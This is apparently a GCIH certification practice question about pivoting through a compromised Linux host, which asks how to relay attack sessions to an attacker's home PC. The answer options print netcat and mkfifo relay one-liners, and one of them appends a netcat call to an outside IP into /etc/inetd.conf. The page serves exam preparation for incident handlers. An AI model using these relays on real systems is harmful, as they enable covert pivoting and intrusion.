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GCIH · Question #835
GCIH Question #835: Real Exam Question with Answer & Explanation
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Vulnerability Exploitation & Privilege Escalation
Question
You have gained access to a Linux box. Which of the following methods would enable you to launch attacks against other systems and send the sessions back to your home PC (10.2.200.1) without altering system config files on the Linux box that might alert the sysadmin?
Options
- Aecho 123 stream tcp nowait nobody/usr/sbin/tcpd /usr/bin/nc 10.2.200.1 321 >> /etc/inetd.conf
- Bmkfifo backpipe; nc -l -p 24680 backpipe
- Cmkfifo backpipe; nc -l -p 24680 | nc -l -p 54321 10.2.200.1 >backpipe
- Decho "nc 10.2.200.1 123">>relay.bat; nc -l -p 123 | relay.bat
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Topics
#netcat relay#pivoting#mkfifo#network tunneling